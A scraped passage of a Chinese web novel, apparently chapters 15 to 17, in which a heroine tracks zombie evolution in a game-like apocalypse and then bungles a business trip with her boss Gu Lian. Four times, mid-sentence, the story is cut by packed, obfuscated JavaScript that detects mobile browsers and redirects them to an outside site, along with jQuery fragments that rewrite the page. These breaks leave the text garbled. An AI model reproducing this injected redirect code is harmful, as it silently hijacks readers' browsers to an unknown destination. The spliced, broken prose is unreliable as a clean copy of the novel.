RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958981|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指丧尸进化，她和顾敛之前在楼梯间遇见了丧尸。现在看来，这应该就是进化后的结果。 第二个则提到了守护值，20点，刚好能亮起一个小格的数值。下意识抚摸印有长剑的右手腕，黎春日若有所思。 找到丧尸进化后的特点，有利于她之后的行动。知己知彼，百战不殆。 而守护值，客服说过的话再度浮现，积攒守护值更有利于她离开游戏。 既然如此，这两个任务她无论如何都要认真完成。 说干就干，黎春日拉近顾敛两人的距离，又转着圈喷了一遍气味阻隔剂。 没几秒，两人就被白色雨雾淹没笼罩。 “阿嚏，阿嚏。” 一个抵住唇鼻，疯狂挥手；一个喷嚏不断，睁不开眼。 相同的是，他们都无法理解黎春日突如其来的行为：“你在干什么。” “加强防范”，大功告成，黎春日拍拍手，率先进入楼梯间：“走吧。” 表兄弟对视一眼，楚朗目光里的指控都要溢出来了。顾敛避而不谈，只一味地转身跟上：“走吧。” 他哥变了，楚朗垂头丧气地跟上去。没下几层，就遇见了专门粉碎世界观的丧尸。 他浑身僵硬，只剩一双眼睛会动。左右看看，最后抬手哆哆嗦嗦地指向摇头晃脑的丧尸。 他哥面无表情点点头，疑似他嫂子的人耸耸肩，一副她早就说过的模样。 直到迷路的丧尸离开，楚朗还没有缓过神。他目光涣散，愣愣开口：“原来你们说的都是真的。” 随后想到什么，他看向顾敛，眼中带有一丝希冀：“那我爸妈他们……” 顾敛摇摇头，用力拍拍他的肩膀，以示安抚：“不能保证，但我们可以去看看。” 明白现在不是伤感的时候，楚朗闭眼深呼吸，压下心中的难受。 三人重新启程，不过与之前不同，热闹轻松的氛围变得有些压抑沉闷。 不想影响到别人的情绪，楚朗强行打起精神：“哥，你什么时候知道这件事的。” “我也是刚知道”，顾敛指指黎春日，淡声说道：“还是她告诉我的。” “姐，你又是……” “别喊姐”，黎春日无语至极，要说几遍他才能记住。 “哦”，楚朗纠结一会儿，小心翼翼地开口：“那，嫂子，你又……” 这孩子就是欠收拾，黎春日忍无可忍，直接上手教育：“不会说话就别说话。” 唇角微勾，顾敛无视楚朗发来的求救信号，不痛不痒地提醒一句：“小点声，别把丧尸引来了。” 低沉笑声很快消散在空中，但却如同一道惊雷，劈醒黎春日的大脑。她气喘吁吁，后知后觉反应过来。 她到底在干什么，人家只是礼貌问题，她就直接上手，怎么看都像是心思被人戳破后恼羞成怒的表现。 懊恼地咬咬唇，她凑到楚朗身边，尬笑几声：“哈哈，你没事吧，我只是想缓解一下你紧绷的情绪才这样做的，” 楚朗瞥她一眼，并不相信。但又害怕这么说会惹怒她，只好咽下心中的委屈，独自消化：“哦。” 15. 第 15 章 尴尬的氛围在楼梯间蔓延，三人沉默下楼。 队伍最后，黎春日无声呐喊，五官紧紧皱在一起。 天呐，两人才刚认识，她怎么能如此自来熟的上手呢。 画面反复攻击大脑，她越想越丢人，最后干脆选择做任务转移注意力。 点开页面，任务内容映入眼帘。黎春日陷入沉思，根据她多次亲身实践，目前已知的一条应该不会有错。 简单组织措辞，她噼里啪啦打字：与之前相比，丧尸行动更灵活，能驾驭上下楼梯这项活动。 “叮咚，恭喜玩家找到丧尸的变化x1，请继续努力哦。” 消息弹出后，任务最后出现（？/1）的标识。 本该是总数目的地方由问号取代，黎春日都没翻看其他页面，轻易就在任务内容上找到了答案。 撇撇嘴，她一脸无语。这是藏了个寂寞吧，答案都写在附注里了，还有什么可遮掩的。 不过，这楼梯怎么还没到头。 提交完答案，精神放松，疲劳酸痛一股脑儿全涌了上来。黎春日锤锤大腿，内心崩溃，需要买房的队伍再次扩列。 等明天，她一定要监督两人贯彻落实购房行动。再这样锻炼下去，她参加马拉松都游刃有余。 身后脚步声变得拖拖沓沓，原本还在疑惑的顾敛眉头一松，嘴角带上了然的笑意。 按照前几次经验，落在最后的人早该喊累了。如今应该是顾及有外人在场，才多坚持了一会儿。 脚下一停，后面的队伍紧跟着刹了车，两人好奇探头：“咋停了。” 顾敛没有回答，他看向楚朗：“我有东西忘拿了，你回去一趟，到时候我们直接在楼下汇合。” “不行。” 比楚朗回答更快的，是黎春日斩钉截铁的声音。 开什么玩笑，保护两人是她的任务，少一个都不行。 况且她又没有分身术，要是其中一个遇见危险怎么办，所以他俩必须紧紧绑在一块儿。 额角微痛，顾敛尽力稳住情绪：“为什么。” “楼上楼下这么多丧尸，他还是个新手，遇见危险怎么办”，黎春日有理有据。 顾敛淡定回击：“他是学体育的，这点运动量不再话下，要不了几分钟就能回来，多喷点气味阻隔剂就行。” 夹在两人中间的楚朗弱小无助：“……你们听我说。” “闭嘴。” 一前一后，视线夹击。他默默缩脖低头，内心有感而发，今日诸事不宜。 两人眼神接触，目光激烈交锋，周围火花四溅。 ‘我支开他是为了创造机会扛你下楼，你到底懂不懂’，顾敛恨不得敲开她的榆木脑袋，看看里面到底什么构造。 ‘男人，休想坏我任务’，黎春日油盐不进，豪气宣言。 初衷抛至脑后，顾敛率先移开视线，大步下楼。 活该累着吧，谁再关心谁是狗。 “哼”，得益于台阶高度，黎春日单手搭上楚朗肩膀。没有刘海，就吹吹光洁的额头：“姐罩你。” “表哥，等我”，楚朗目不斜视，拔腿就跑，将运动天赋发挥到极致。 “哎”，这两个任务目标瞎跑什么，黎春日连忙跟上。 平平无奇的楼梯间内，三人上演一出你追我赶的惊险刺激类动作片。 楼下，凉风吹过，由高到低排排站的三人衣摆轻荡，最终落回原位。 漫漫长夜，新手楚朗一无所知，扭头看向有些许经验的顾敛：“表哥，我们接下来去哪。” 仅有一次经验的顾敛无声沉默，虽然是他提议下楼，但关于丧尸的信息，他都是从黎春日那里得知的。 二人齐齐转头，低头，等待身经百战的人下定决策。 左侧视线灼热，黎春日抽抽嘴角，合着她还是队伍中的核心人物啊。 清清嗓子，领导作风上身：“对于世界如今这幅模样，我们每个人都有责任，也有义务去拯救它。” “但，丧尸部队数量庞大，且我们都不是什么科研或战斗人员”，她摇摇头，眉目间皆是痛惜：“仅凭我们三人的力量难以强硬抗衡，只能从小做起。” “因此接下来，我们的任务只有两个”，黎春日眼神坚定，举起右手：“一，寻找幸存人员；二，尽可能多的了解丧尸。” “关于第二点，目前我有一些发现想要分享”，她看向顾敛：“你还记得我说过丧尸不会爬楼吗？” 顾敛轻轻颔首，在开始下楼的时候她确实说过这件事。 “事实上，在我去找你之前，丧尸不仅不会爬楼，甚至还进不了楼梯间。然而今天，丧尸就能上下楼了，期间发生了什么我们不得而知。但有一点可以确定，那就是，丧尸会进化。” 此言一出，顾敛两人的脸上皆是凝重之色。 丧尸成群已经很难应对了，如果再不断进化，后果简直不堪设想。 “俗话说，进攻就是最好的防守。我们现在的重点，就是找到丧尸的变化，才能更好应对。” 啪，啪啪，掌声清脆响亮。这番话说得无可挑剔，楚朗肃然起敬。 此刻他的内心中，黎春日不着调的样子轰然倒塌，正经可靠的形象缓缓升起。 低调，低调，黎春日点点头，波澜不惊地接受这波夸赞。 没眼看过度沉浸在情景剧中的两人，顾敛抬手叫停：“所以，你有什么想法。” 黎春日自信满满：“我们可以对丧尸进行五感专项训练。” 首先，找到一只落单的丧尸，并将其围堵至偏僻角落。 三人落实行动，先找到一只丧尸，却在引诱这一步犯了难。 如何在不暴露踪迹的情况下，诱导丧尸跟他们走，三人大眼瞪小眼。 看了几秒，黎春日忽然弯腰伸手：“嘬嘬嘬。” 周围空空荡荡，丧尸左看右晃，试图寻找奇怪声音的源头。 不止丧尸疑惑，就连和黎春日一队的自己人也好奇。 ……她到底知不知道，面前是一只丧尸，而不是一只狗。 额头又开始阵痛，顾敛揉揉眉心，打算和另外一个正常人商量办法。 转过身，就见楚朗拿着一根木棍站在丧尸身后，戳弄丧尸的同时，嘴里振振有词：“去去去。” ……他到底知不知道，面前是一只丧尸，而不是一群羊。 毁灭吧，这俩没一个正常人。 被排挤的孤独感席卷顾敛全身，眼下这幅场景，用孤立无援来形容他极为合适。 一手一个，拉着两人远离丧尸，顾敛一瞬间仿佛老了十岁：“别瞎折腾，想点有用的。” “什么叫瞎折腾，山不就我我就山的道理懂不懂。我们明明是在原地开展专项训练，我是听觉”，黎春日指指自己，又戳戳楚朗：“他是触觉。” 怎么就不是瞎折腾，顾敛示意两人扭头：“你们自己看丧尸的反应正常吗？” 原本自由行动的丧尸在经历两人的测试后，面目狰狞，动作抽搐。 它既想抓住前方莫名其妙的声音，又想逮住戳弄背后的东西。前抓一下，后扑一下。折腾一圈，位置又回到了原位。 两人低着头不说话了，顾敛叹一口气，心累：“测试至少也要找能让丧尸有正常反应的项目吧。” 说到正常反应，黎春日一锤掌心：“对了，我记得好像有丧尸喜光来着。” 借着翻找背包的动作，她拿出游戏一开始赠送的东西：“正好，我带了手电筒。” 这个方法相对之前过于正常，顾敛没有阻止两人行动。 圆圆的光圈冲破黑暗，在地上浅浅晃动。前后乱扑的丧尸终于有了不一样的反应，它跟着光圈慢慢向前。 由于害怕黎春日再冒出什么歪点子，顾敛一直关注着情况进展。但越看，他心中的疑惑越重。 丧尸之前走的这么快吗？ 如果对照人类，丧尸之前的速度相当于正常行走。但现在再看，丧尸迈脚频率加快，步伐间距也稍微大了一些。 他上前和黎春日嘀咕一会，将掌控手电筒的任务交给楚朗，两人走到旁边仔细观察。 看到出发的手势，楚朗启动慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962447|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 跑模式，丧尸紧紧追着光圈。期间，他根据指示不断切换跑步模式，从而测试出丧尸速度。 高举OK的手势喊停，黎春日两人对视一眼，眸中皆是肯定的神色。 丧尸行动速度确实变快了。 由于早已知道它们会进化的消息，因此几人情绪没太大波动。 无人在意的旁边，黎春日提交答案。看着变成（？/2）的标识，她笑弯了眼。 感谢顾敛送来的任务答案。 偷乐之后，她换上认真的表情：“我认为，接下来可以从攻击和防守两个方面展开测试。” 这个听着靠谱，顾敛点点头，示意她继续说。 “我们要先找一些垃圾当……”，黎春日话还没说完，楚朗热情活力的声音突兀打断。 “找到了。” 这么快，她也没看到这有什么纸箱子啊。两人抬头望去，薄薄的雪糕塑料袋随风飘扬。 他的聪明是有时效性吗？那玩意儿除了增加清扫负担，还能有什么用。 死鱼眼重出江湖，黎春日补充完剩下的话：“当武器。” “噢”，塑料袋慢慢飘落，楚朗挠挠后脑勺，笑得腼腆。 别介意，没听完，没听完哈。 小插曲过后，几人正式开启捡垃圾大业。 作为实用派代表，黎春日对垃圾筛选有其独特的标准。 薄的不要厚的要，软的不要硬的要，轻的不要重的要，小的不要大的要，短的不要长的要。 找了一圈，最后只拿了几个大黑塑料袋，手指粗细的木棍，和快递盒子。 另外两人则是两个极端，一个是挑剔派，一个是来者不拒派。 顾敛看见垃圾，腰也不弯，瞥眼一看，转身就走。 这个太脏拿不了，那个油兮兮的没法拿，怎么没一个能用的。 长街走完，他的手里空空如也。 而跟在他身后的楚朗则满载而归，果皮能用，纸团也能用。 他一步一停，长街进度刚过半，就拎着两兜垃圾和其他人汇合了。 三人带着精心挑选的垃圾武器来到丧尸身边，各显神通。 楚朗热热身，果皮纸团轮番上阵。丧尸双手交叉在前抵挡，可如此一来，后方它就无暇顾及。 黎春日先用木棍戳戳，确定丧尸没空搭理她后，屏息走近，准备给丧尸套塑料袋。 50厘米，30厘米，丧尸身上的腐臭味钻入鼻孔。喉头涌动，她控制不住的干呕两声。 抗住生理反应，黎春日没有退缩，这个塑料袋她一定要套上去。 双手缓慢向下，一直应对前方攻击的丧尸倏然转身。眼眶漆黑空洞，咧开嘴就向前冲。 “黎春日，小心。” 两人急切的声音混合，恰好组成一句完整的话。 楚朗手中动作加快，试图拉回丧尸的注意力。 顾敛则加入这场投掷行动，同时慢慢接近，想要营救被困其中的黎春日。 外界纷纷扰扰，丧尸不为所动，坚定地想要抓住面前的猎物。 危险近在咫尺，黎春日反而冷静下来。她快速松手下蹲，向一边翻滚，想利用空隙逃出。 但丧尸反应迅速，一把抓住她的衣摆，成功阻止猎物逃跑行动。 黎春日对准膝弯，反脚一踹，吃奶劲都使了出来。 咚，丧尸直愣愣跪下。她拉住及时赶来帮忙的两人，呲啦一声，最终以牺牲一块布料为代价，逃离丧尸魔爪。 直到远离战场，尘埃落定，后怕袭来。黎春日双腿发软无力，心脏砰砰乱跳。 太惊险了，当时她要是反应慢一点，恐怕就见不到明天的太阳了。 经此一遭，三人也顾不上探索了，安安生生躲起来，等待黑暗结束。 黎春日抬起左手腕，好感度已然到了66点。 就在刚刚，她提交了最后一条变化，成功完成任务。 富贵险中求，诚不欺我。 虽然命悬一线，但也正是危机中才能发现线索。近距离的交锋，才让她发现丧尸最后一个变化。 16. 第 16 章 闭眼，再睁开，清单上的小字还是那么扎眼，黎春日的内心此时只剩一个想法。 她双手合十，诚心祈祷。上天保佑，顾敛的行李箱一定要是最大号。 祷告完毕，她点开平面图，在密密麻麻的物品定位中，艰难翻找行李箱的图标。 对于游戏提供物品定位服务这一点，黎春日颇为满意。 不过，很大概率是因为游戏也明白，如果不提供定位，这个任务压根儿完成不了。 划拉半天，终于在犄角旮旯里找到行李箱的简笔画。她深深吐出一口浊气，怀着忐忑的心情朝目的地进发。 按下门把手的那刻，黎春日的小心脏也跟着一咯噔。 苍天啊，大地啊，她费多少劲全取决于这个箱子的大小了。 鼓起勇气推开门，28寸的黑色箱子闪闪发光。 欣喜一瞬，失落紧随而至，如果是30寸的就更好了。 用力掐一下大腿，黎春日赶跑侵占大脑的负面情绪。 不能这样想，凡事都要看好的一面。28寸已经可以了，努努力还是能塞进去的。 捞出箱子，接下来就是一场硬仗。 她进进出出，翻翻找找。平面地图上，物品定位一个接一个地消失。 到了执行阶段，黎春日才明白这张清单的含金量有多高。 毫不夸张地说，就算顾敛想睡大街，只要带上这些东西，一切都不是问题。 衣服鞋子，洗漱护肤，红枣茶叶，等等等等，应有尽有。 两指捏起最后的皮鞋保养套装，她啧啧摇头。实在想不明白，这东西除了增添负担之外还能有什么用。 手指一松，任其自由降落至行李箱内部。 大功告成，黎春日起身拍拍手。双手叉腰，得意欣赏到处都彰显她智慧的杰出作品。 充分自我肯定后，她猛地抬起半边箱子，用力往下一压，中间所剩缝隙甚至还能塞下一个平躺的她。 武力不行那就智取，她找到高度完美契合箱子尺寸的床底。撅着屁股，呼哧呼哧往里塞。 姿势不太雅观，但效果显著。 开口的蚌一点点合上，黎春日自信心爆棚，此时来头牛她都能给塞进去。 耗费两个小时，终于完成任务，同时到了喊顾敛起床的时间。 咚咚咚，门后无人应答。 黎春日还沉浸在完成任务的激动之中，她一拳拳往门上招呼，生怕顾敛睡得太舒坦。 “你在干什么。” 男人的声音自后传来，她浑身一抖。转身就见顾敛擦着头走出卫生间，不解地看着她。 心脏受到惊吓，黎春日没好气地说道：“你不是让我八点喊你吗？” 轻点下头，顾敛动动手指，示意堵门的人往旁边挪挪：“行李都收拾好了吗？” “当然，我办事你放心”，黎春日拍拍双手，为加班时光画上句号：“那什么，没事我就先回去了。” 已经进门的顾敛退出半个身子：“忘了说，这次出差你也去。” 他回忆两秒，确认没有遗漏：“行了，回去收拾吧，九点在楼下集合。” 砰，一个早上，黎春日两度被人拒之门外。 “哈，哈”，人无语到极致的时候，真的会笑出声。 黎春日带着熊熊怒火转身离去，路过行李箱时，抬脚狠狠一踹。 箱子纹丝不动，倒是她的脚隐隐作痛。 危险的想法涌上脑海，她冷哼一声。顾贼，这个箱子就是她最好的报复。 一个小时转瞬即逝，黎春日特意提前几分钟下楼，想要亲眼目睹幻想中的画面。 她刚到集合地点，就见顾敛准备提起箱子下台阶。 视线紧盯，黎春日心脏激动地砰砰乱跳。 果然，箱子仿佛被粘在地上一般，任由顾敛来回折腾，皆是徒劳。 她的嘴角不受控制地往上抬，哈哈哈，能目睹这一幕，辛苦忙碌两个小时也值了。 注意到顾敛有抬头迹象，黎春日极速变脸，由幸灾乐祸到体贴关心仅需一秒：“怎么了。” 她脸上的关心不似作假，顾敛面无表情：“我是出差，不是搬家，而且只去一天。” 明白他言下之意，黎春日垂下眼睫，营造无辜小白花形象：“我装这么多，是想让你在外面也能住得很舒服。” 手机再次震动，顾敛不用看都知道，百分百是秘书催促的电话。 首先，时间来不及了。其次，时间来不及了。 他深深叹一口气，只能接受这份沉重的关怀：“过来帮忙。” 两人走到唯恋花园门口，眼力价满分的秘书一路小跑，想帮顾敛放好行李。 本着不能殃及他人的原则，黎春日主动帮忙搭把手。 汽车平稳行驶，三人顺利到达机场。 走进门口，迎接他们的是一声中气十足的怒吼。 “站住。” 事情发生得太过突然，圆润小炮弹以风一般的速度撞向顾敛。 等在场的人回过神，两人已然摔倒，顾敛身上沾满草莓味的粉色冰淇淋。 熊孩子终于被姗姗来迟的父母逮住，喜获巴掌教育：“你再乱跑试试，快给人家道歉。” “我不，哇哇哇”，熊孩子往地上一坐，胡乱蹬腿，哭声尖锐如魔音贯耳。 那对父母分外尴尬，只能不断道歉：“对不起对不起，真是不好意思。这衣服多少钱，我们赔。” 一边说，一边往外掏手机。 甜腻的味道挥之不去，顾敛眉心皱得都能夹死苍蝇。 他给秘书一个眼神，接着看向黎春日：“找件衣服出来。” “在这儿？要不到酒店再换吧”，黎春日心肝俱颤，这箱子可是个单程线，开了就回不去了。 顾敛眼神冷得能杀人，她弱弱开口，想要最后挽救一把：“东西太多……” 然而顾敛已经忍到极限，不等她说完，径直打断：“打开。” 黎春日一脸悲壮地拉开拉链，黑色箱子顿时变身电玩城里的兑币出口，哗啦啦啦。 不过几秒，纸笔，茶叶，压缩面膜，皮鞋保养套装大咧咧地躺在地上。 周围人声鼎沸，在场的人一言不发，只有熊孩子被神奇黑箱所吸引：“哇~” 悬着的心终于死了，黎春日闭了闭眼。她加快动作，想早点找出衣服，结束这场灾难。 终于，手指触摸到柔软的布料 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975647|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。她使劲一拽，大力之下出奇迹。 不仅衣服出来了，买一送一，连带着包装内衣的小小袋子也随之远航。 错上加错，黎春日头垂得更低，内心忐忑不安。 但身侧迟迟没有动静，她悄咪咪抬眼，想要偷瞄顾敛脸色。 还没看见，就听见不远处传来一声惊呼。 视线一转，黎春日大惊失色。救命啊，顾敛的内裤怎么飞那么远。 只见男人脚下不稳，左摇右晃，一阵奇怪舞姿过后，他利用其优异的柔韧性稳住身体。 无人伤亡，黎春日心下一松，但这口气她还是松得太早了。 男人捡起包装袋，为她一错再错的事业添砖加瓦：“谁乱扔内裤，即使穿最大号也不能没有公德心。” 没有意外，嘹亮的嗓门，离奇的内容。这一嚷嚷吸引不少爱看热闹的人，他们纷纷转头寻找。 由于黎春日的蹲姿与众不同，他们很快精准定位，并对其指指点点。 然而虱子多了不怕痒，事情发展成这样，她早已放弃挽救形象。 还是那对父母先忍不住了，抱起熊孩子就走。刚转过身，笑声如同漏气的气球，噗噗接连不断。 黎春日内心愤愤不平，喂，也太没有道德了吧。 你们好歹走远一点再笑啊，离这么近，是生怕顾敛听不到吗。 等等，她忽然反应过来，顾敛怎么没有反应，这不正常啊。 不正常的顾敛看似平和，实则人已经走了有一会了。 鼻尖，是甜腻的草莓味冰淇凌。眼前，是男人高举他内裤的不雅画面。耳边，是周围人肆无忌惮的嘲笑声。 他顿时觉得人生一片黑暗，这辈子丢脸的事加起来都没今天经历得多。 而现在，他别无所求。只想赶紧换掉衣服，远离这片令人窒息的空间。 唇瓣颤抖，他一字一顿：“衣，服。” 听出他话语间的脆弱，愧疚涌上心头，黎春日连忙颤颤巍巍地举起手臂。 掌心一空，脚步声由强变弱，她才敢慢慢抬头。 视线中，顾敛的背影仓皇沉重。 “嘶”，黎春日怪不好意思的。毕竟根源追溯起来，她的责任得有大半。 唉，愁人，她还是好好想想要怎么补偿顾敛吧。 主人公一走，热闹随之散场。 隐身许久的秘书终于出现，他将那包经历丰富的内裤默默塞回行李箱。 两人收拾完散落的东西，顾敛也换好了衣服，三人重新启程。 但，新面貌并不能带来新心情。之后的一路，顾敛都异常沉默。 黎春日心里颇不是滋味，因此，在顾敛开完会后，一把拉住他往外走。 “去哪？” 她回答得理直气壮：“出去玩。” “现在是上班时间”，顾敛瞅她一眼。 黎春日照旧理直气壮：“我知道，那也出去玩。” 看出她一副不同意就要闹的架势，顾敛额头又开始痛，他摆摆手：“走吧。” 粲然一笑，黎春日小跑几步跟上他：“我们去前面的咖啡馆吧，来的时候见他家门前围了好多人。估计是在搞什么活动，我们也过去看看吧。” 17. 第 17 章 “各位兄弟姐妹，走过路过不要错过。今日凡到店消费者，即可参与此次你来比划我来猜的活动。” “参赛者两两组队，一人比划动作，一人猜题。在规定时间内，答对数量最多的队伍获胜。奖品则是本店自制的精美咖啡杯一对，欢迎各位积极参与。” 舞台上，气氛火热。参赛人员分成两排，一边手忙脚乱地做动作，一边绞尽脑汁地思考答案。 这活动看起来不错，热闹。黎春日拽着顾敛往里挤：“我们也玩。” 不，他不想。顾敛脸上抗拒，身体却自动跟上，帮她隔开熙熙攘攘的人群。 排队半小时，购买两分钟。 小票上的单号即是参赛顺序，黎春日低头一瞅。 呦吼，999号，寓意挺不错的，就是他们得猴年马月才能玩上游戏。 顾敛随意一瞥，眉头轻挑，这数字他喜欢。再看一眼，他也反应过来了。 轻啧一声，这数字，怎么又吉利又不吉利的。 由于序号问题，两人一致决定先看看情况。他们越过重重人海，回到比赛现场。 恰巧此时一轮游戏结束，主持人重新叫号：“有请960-970号参赛者上台。” 其中五个是个人参赛，主持人又补充了几组号码。组队成功后，直接进入比赛环节。 不愧是她看上的游戏，就是这么速度。两人再次前进，去往参赛人员的所在区域。 等待期间，台上各种奇奇怪怪的动作引得台下爆笑。两人对视一眼，异口同声：“我要答题。” 她才不要像个猴子一样被人观赏，黎春日列举自身优势。 “我想象力丰富，语言表达能力强，词汇量积累多。所以，我更适合答题。” 换个地方，顾敛不想再丢人了。他回答的内容和游戏毫无瓜葛，却字字有力。 “你收拾的箱子，你拿的衣服，内裤也是从你手中飞出去的。所以，我更适合答题。” OK，他理由充分，黎春日无话可说。 看到对方理亏吃瘪的样子，顾敛勾起的嘴角一闪而过，郁气稍稍消散。 比赛时长只有一分钟，即使加上叫号的时间，五分钟也能比完两组。 很快，主持人邀请下一组参赛选手：“有请995-1005号的参赛者上台。” 面对台下乌泱泱看热闹的人群。黎春日深吸口气，视线集中在顾敛的脸上。 由于参赛人数较多，主持人也不废话，直接进入正题。 “让我们共同期待各位参赛者的精彩表现，一共60秒的时间，请做好准备。三，二，一。” 哨声响起，答题人员的头顶应声出现提词板。 第一个词，办公室恋爱。 好难啊，黎春日一张脸皱成了苦瓜，只能拆解比划。 她先伸出一只手明确字数，接着指指她和顾敛，最后画了一个爱心。 “恋爱，爱情，相爱。” 五个字，黎春日疯狂摇摆左手示意。 “五个字。” 连忙点头，她指指两人，比划了一个爱心，最后着重强调字数。 “办公室恋爱？” 下一个，病毒。 这个简单，黎春日拍拍右臂，接着，呲牙咧嘴，做出张牙舞爪的模样。 “感染？丧尸？病毒？” 下一个，鸡汤。 一如既往，她先明确字数。然后手臂蜷缩，比划一对小翅膀。 “鸡。” 顾不得地面是否干净，黎春日直接就地一躺。 “躺？鸡汤。” 下一个，内裤。 黎春日瞪大眼睛，怎么还会有这种词。犹豫期间，主持人赛中提醒。 “时间只剩最后十秒。” 不再迟疑，她比划一个正方形，指指脚下。然后四肢乱晃，姿势奇怪。 “……内裤。” “滴，时间结束，请停止答题。” 有心遗忘的记忆被最后的词毁于一旦，顾敛黑着脸等待结果。 “让恭喜我们999号参赛者，以4题的微弱优势获得本组冠军。” 不论比赛正式与否，胜利的那刻，总是激动人心。 黎春日一把抱住顾敛，蹦蹦跳跳：“嗷嗷，我们赢了。” 惊讶一瞬，平直的嘴角慢慢翘起。顾敛无声弯腰，配合她的动作，眉眼温柔。 怀里的人鲜活蓬勃，永远充满朝气。像阳光，也像星星，温暖明亮。 他抬手揽住纤细腰肢，缓缓收紧。 “嗯，赢了。” 见状，主持人善意调侃：“看来又是一对情侣获得胜利，不过说起来，今天的奖品刚好适合情侣之间用。” 理智上线，黎春日连忙松手。她张嘴想要澄清，却听见顾敛应下主持人的话。 双眼微微睁大，她抬头望去。却在接触到顾敛带笑的眼底时，呆愣在原地，心跳悸动。 和顾敛接触以来，他展现最多的是无奈和傲娇的一面。或许有过笑容，但都转瞬即逝。可以说，发自内心的喜悦是他最吝啬的情绪。 而现在，他眼睛弯出清浅的弧度，笑意犹如细碎光芒，紧紧攥住她的心神。 余光注意到旁边的视线，回答完主持人问题，顾敛转头挑眉询问。 黎春日骤然回神，懊恼地抿抿唇。她怎么能对着顾敛发呆，最重要的是，居然还被他发现了。 正想说些什么，却看到顾敛头顶冒出+20的红字。 季节温暖，她却浑身发凉。好感度增加本该欣喜，可炽热的心脏犹如掉进一盆冷水，浇灭了她所有想法。 指尖用力，掌心留下一排痕迹。再睁开眼时，她又恢复到平常的状态。 比赛结束，顾敛凑近问道：“接下来去哪？” 气息在喷洒耳际，黎春日警惕躲开：“你离这么近干嘛。” “我离远了你能听见吗？”，顾敛眼神示意周围热闹的人群。 大点声不就得了，非要凑这么近，黎春日小声嘟囔。 “你说什么呢”，顾敛弯腰凑近。 黎春日亲身示范，大声喊道：“我说，走吧。” 之后，两人沿着道路向前，遇见感兴趣的地方就进去逛一逛。 离开美术馆，身后传来一道温和的男声。 “顾敛？” 应声转身，顾敛吃了一惊：“孟烨，你怎么在这。” “我来这个美术馆逛逛”，嘴角弧度清浅，孟烨的语气不急不缓：“好久没见了，你最近过得怎么样。” 顾敛轻一耸肩：“我还是老样子，没什么变化。” “今晚有时间吗，一起吃个饭吧”，孟烨看了眼时间，发出邀请。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16981671|193270||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>顾敛看一眼黎春日，直接拒绝：“不了，改天吧。” “好吧，这位是……”，孟烨随之望去，眼里止不住的好奇。 胳膊肘捣捣准备说话的男人，黎春日抢先回答：“黎春日，顾敛的生活助理。” 男人张张嘴却没说话，孟烨眼力价十级：“黎小姐今晚有空吗？” 见她点头，孟烨再次提议：“有兴趣一起吃饭吗？” “有”，黎春日回答得斩钉截铁。 这次顾敛没再拒绝，孟烨轻笑一声：“走吧。” 全程旁观的顾敛内心莫名不爽，眉心缓缓皱起：“你为什么要答应？” 黎春日眨眨眼，扮作无辜：“不能答应吗？” 实则内心又是另外一套说辞，当然要答应了。 这可是和未来队友培养感情的大好时机，她岂能错过。 没错，孟烨，就是那个她当初想选，却因为手抖而错过的二号男嘉宾。也是即将入队的新伙伴。 如今既然有再次认识的机会，她肯定要去啊。 顾敛休想阻拦，黎春日暗戳戳发送眼刀。 “只是觉得奇怪”，两人又不认识，她却答应的如此痛快，还那么坚定。 男人也有第六感？黎春日狐疑一瞬，随即反应过来。 不对，她又不是出轨，哪有什么第六感。 嘴角抽搐，她拉着人追上孟烨：“别想了，赶紧走吧。” 晚餐气氛和谐，相聊甚欢，最终以黎春日和孟烨挥手告别作为结尾。 回去路上，顾敛满脑子都是晚餐时，黎春日和孟烨说说笑笑的画面。 他心气不顺，嘴角都只勾了一边：“啧啧啧，你和我朋友玩得开心吧。” 尤其在我朋友三个字上加重读音。 “还不错”，黎春日沉浸在喜悦之中，光想着孟烨和简介里描述的一模一样了，哪能注意到他走偏的情绪。 这话一出，原本上扬的单边唇角也落了下来，顾敛斜斜也她一眼：“没尽兴？我可以再打电话约他出来。” 倒也不必，都是队友，以后见面的机会多着呢。而且，黎春日侧头望去，这人翘班翘上瘾了。 不看还好，这一看，她注意到顾敛阴沉的表情。 脑海中回想刚刚的对话，她有些不确定，难道他是在吃醋？ 也只有这个原因，能合理解释那两句阴阳怪气的话。 说不出什么感觉，黎春日明明想笑，嘴角却不受控制地向下。 